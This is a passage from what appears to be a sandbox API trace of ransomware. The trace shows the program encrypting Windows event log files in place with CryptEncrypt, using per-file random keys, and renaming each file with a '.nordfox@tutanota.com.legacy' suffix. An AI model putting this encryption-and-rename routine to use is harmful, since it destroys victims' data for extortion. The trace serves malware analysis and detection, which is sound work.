Flags=0x0, Size=0xe0) returned 0x553500 [0089.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0089.709] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.710] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.710] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.722] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.722] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.723] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.723] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.724] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.724] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.724] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.726] WriteFile (in: hFile=0x460, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.726] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.726] CloseHandle (hObject=0x460) returned 1 [0089.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0089.733] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0089.733] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0089.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0089.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0089.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0089.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0089.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0089.740] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0089.740] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0089.740] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", dwFileAttributes=0x80) returned 1 [0089.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0089.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x553500 [0089.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0089.741] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.741] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.741] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.749] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.749] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.751] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.753] WriteFile (in: hFile=0x460, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.753] WriteFile (in: hFile=0x460, lpBuffer=0x54d110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.753] CloseHandle (hObject=0x460) returned 1 [0089.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0089.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0089.767] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0089.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0089.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0089.789] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0089.789] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584568 [0089.789] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0089.789] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584568 | out: pbBuffer=0x584568) returned 1 [0089.789] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0089.789] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx", dwFileAttributes=0x80) returned 1 [0089.790] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0089.790] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b730 [0089.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0089.793] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.794] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.794] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.809] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.809] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.811] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.813] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.814] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.814] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.815] WriteFile (in: hFile=0x460, lpBuffer=0x584568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.816] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.816] CloseHandle (hObject=0x460) returned 1 [0089.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584568 | out: hHeap=0x520000) returned 1 [0089.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0089.825] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b730 | out: hHeap=0x520000) returned 1 [0089.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0089.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555868 | out: hHeap=0x520000) returned 1 [0089.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0089.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0089.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0089.827] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0089.827] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0089.827] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx", dwFileAttributes=0x80) returned 1 [0089.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0089.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ec60 [0089.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0089.827] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.828] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.828] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.828] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.828] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.845] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.845] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.846] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.846] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.847] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.847] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.847] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.849] WriteFile (in: hFile=0x460, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.849] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.850] CloseHandle (hObject=0x460) returned 1 [0089.859] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0089.859] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0089.859] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.861] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ec60 | out: hHeap=0x520000) returned 1 [0089.861] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0089.861] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0089.861] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0089.861] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0089.861] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0089.861] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0089.862] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1d0 | out: pbBuffer=0x54d1d0) returned 1 [0089.862] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0089.862] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x583e68 [0089.862] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x553500 [0089.862] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583e68 | out: hHeap=0x520000) returned 1 [0089.862] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.862] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1052672) returned 1 [0089.863] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x3121020 [0089.866] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x3232020 [0089.874] ReadFile (in: hFile=0x460, lpBuffer=0x3121020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3121020*, lpNumberOfBytesRead=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0089.946] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.947] WriteFile (in: hFile=0x460, lpBuffer=0x3232020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3232020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0089.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3121020 | out: hHeap=0x520000) returned 1 [0089.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3232020 | out: hHeap=0x520000) returned 1 [0090.022] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x101000 [0090.023] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.023] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.023] WriteFile (in: hFile=0x460, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.023] WriteFile (in: hFile=0x460, lpBuffer=0x54d1d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.024] CloseHandle (hObject=0x460) returned 1 [0090.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0090.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0090.045] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0090.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0090.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0090.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x553500 [0090.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0090.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0090.047] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0090.047] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0090.047] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", dwFileAttributes=0x80) returned 1 [0090.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x582160 [0090.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x5646a8 [0090.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0090.048] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0090.048] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0090.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0090.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0090.049] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.058] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0090.058] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0090.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0090.060] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0090.060] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.060] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.062] WriteFile (in: hFile=0x460, 